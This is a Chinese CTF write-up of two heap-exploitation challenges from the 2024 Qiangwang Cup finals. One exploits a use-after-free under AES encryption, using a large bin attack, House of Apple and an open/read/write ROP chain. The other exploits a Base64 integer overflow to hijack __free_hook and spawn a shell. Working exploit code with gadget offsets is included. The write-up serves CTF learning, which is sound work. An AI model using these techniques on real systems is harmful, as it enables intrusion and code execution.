2024 强网杯决赛PWN部分解
字数 986 2025-08-22 18:37:15

强网杯决赛PWN题解教学文档

题目一:heap (AES加密堆利用)

环境信息

  • libc版本: libc-2.31
  • 保护机制: 开启沙盒(需要ORW绕过)
  • 加密方式: AES ECB模式加密

程序分析

初始化阶段

  1. 程序生成一个用于加密的key
  2. 获取heap基址用于限制申请的chunk地址

漏洞点

  • UAF漏洞: 明显的Use-After-Free漏洞

加密机制

  • 使用AES ECB模式加密/解密
  • 加密/解密的数据大小必须是0x10的倍数

利用思路

1. 绕过加密限制

  • 在add函数中,数据先写入明文再加密
  • 如果加密大小不是0x10的倍数,加密会失败,数据保持不变

2. 泄露信息

  • show函数将解密数据保存在栈上
  • 需要修改key为已知值才能控制解密过程

3. 具体利用步骤

  1. 利用UAF修改key:
add(0, b"B"*0x20)
add(1, b"B"*0x20)
dele(0)  # free chunk A
dele(1)  # free chunk B
edit(1, b"\xa0")  # 修改chunk B的FD尾位指向chunk B
add(0, b"B"*0x10)
add(1, b"B"*0x10)  # 申请到存储key的chunk
edit(1, b"B"*0xf)  # 修改key值
  1. 泄露heap地址:
add(0, b"A"*0x10)
add(1, b"A"*0x10)
add(2, b"A"*0x10)
dele(1)
dele(0)
heap = u64(get_key(0)[:8])
  1. Large bin attack:
  • 由于程序限制只能申请0x30大小的chunk,需要伪造large bin大小的chunk
  1. House of Apple攻击:
  • 构造IO_FILE结构体进行利用
  1. 构造ROP链进行ORW:
pop_rdi = 0x0000000000023b6a + libc.address
pop_rsi = 0x000000000002601f + libc.address
pop_rdx = 0x000000000010257d + libc.address

payload = p64(pop_rdi) + p64(heap + 0x410) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0)*3 
payload += p64(libc.sym['open'])
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x50)
payload += p64(0)*2 + p64(libc.sym['read'])
payload += p64(pop_rdi) + p64(1) + p64(libc.sym['write']) + b"/flag\x00"

题目二:ez_heap (Base64堆利用)

环境信息

  • libc版本: libc-2.31
  • 保护机制: 无沙盒,可利用free_hook

程序分析

  • 提供Base64加密/解密功能
  • 加密和解密对应不同的chunk申请/释放流程

漏洞点

  • 在解密(add)函数中存在整数溢出漏洞:
size = (input_size >> 2) * 3;  // 右移两位等于除以4,然后乘以3
  • 当输入大小不是4的倍数时,会导致堆溢出

利用思路

  1. 堆布局:
en_add("A"*0x20)  # 0x40大小的chunk 1
de_add("A"*0x40)  # 0x40大小的chunk 2
de_add("A"*0x40)  # 0x40大小的chunk 3
en_dele(0)  # 释放chunk 3
  1. 利用堆溢出修改chunk大小:
payload = b"Qt"*(0x38//2+8) + b"="
de_add(payload)  # 修改chunk 2的size位为0x81
  1. 泄露libc地址:
en_add("A"*0x380)  # 进入unsorted bin
en_add("A"*0x20)
en_dele(0)
payload = base64.b64encode(b"A"*8)[:-1]  # 只写入8字节
de_add(payload)
de_show(3)  # 泄露libc地址
  1. 劫持free_hook:
de_dele(0)
en_dele(1)
de_dele(1)
payload = b"A"*0x38 + p64(0x41) + p64(libc.sym['__free_hook']) + p64(0)
payload = base64.b64encode(payload.ljust(0x70, b"A"))
de_add(payload)
de_add(base64.b64encode((b'/bin/sh\x00').ljust(0x30, b"A")))
de_add(base64.b64encode(p64(libc.sym['system']).ljust(0x30, b"A")))
de_dele(1)  # 触发system("/bin/sh")

关键知识点总结

  1. AES ECB加密绕过:

    • 利用非对齐的加密大小使加密失败
    • 修改key值获得加密/解密的控制权
  2. 堆风水技巧:

    • 通过UAF修改FD指针
    • 伪造large bin chunk进行攻击
  3. House of Apple:

    • 利用IO_FILE结构体进行利用
    • 结合setcontext进行栈迁移
  4. Base64整数溢出:

    • 利用非4的倍数的输入导致堆溢出
    • 精确控制溢出长度修改关键数据
  5. free_hook利用:

    • 在无沙盒环境下直接劫持free_hook
    • 通过堆溢出构造任意地址写
  6. ORW链构造:

    • 在沙盒环境下通过ROP实现open/read/write
    • 结合堆地址和libc地址构造稳定利用链
强网杯决赛PWN题解教学文档 题目一:heap (AES加密堆利用) 环境信息 libc版本: libc-2.31 保护机制: 开启沙盒(需要ORW绕过) 加密方式: AES ECB模式加密 程序分析 初始化阶段 程序生成一个用于加密的key 获取heap基址用于限制申请的chunk地址 漏洞点 UAF漏洞 : 明显的Use-After-Free漏洞 加密机制 使用AES ECB模式加密/解密 加密/解密的数据大小必须是0x10的倍数 利用思路 1. 绕过加密限制 在add函数中,数据先写入明文再加密 如果加密大小不是0x10的倍数,加密会失败,数据保持不变 2. 泄露信息 show函数将解密数据保存在栈上 需要修改key为已知值才能控制解密过程 3. 具体利用步骤 利用UAF修改key: 泄露heap地址: Large bin attack: 由于程序限制只能申请0x30大小的chunk,需要伪造large bin大小的chunk House of Apple攻击: 构造IO_ FILE结构体进行利用 构造ROP链进行ORW: 题目二:ez_ heap (Base64堆利用) 环境信息 libc版本: libc-2.31 保护机制: 无沙盒,可利用free_ hook 程序分析 提供Base64加密/解密功能 加密和解密对应不同的chunk申请/释放流程 漏洞点 在解密(add)函数中存在整数溢出漏洞: 当输入大小不是4的倍数时,会导致堆溢出 利用思路 堆布局: 利用堆溢出修改chunk大小: 泄露libc地址: 劫持free_ hook: 关键知识点总结 AES ECB加密绕过 : 利用非对齐的加密大小使加密失败 修改key值获得加密/解密的控制权 堆风水技巧 : 通过UAF修改FD指针 伪造large bin chunk进行攻击 House of Apple : 利用IO_ FILE结构体进行利用 结合setcontext进行栈迁移 Base64整数溢出 : 利用非4的倍数的输入导致堆溢出 精确控制溢出长度修改关键数据 free_ hook利用 : 在无沙盒环境下直接劫持free_ hook 通过堆溢出构造任意地址写 ORW链构造 : 在沙盒环境下通过ROP实现open/read/write 结合堆地址和libc地址构造稳定利用链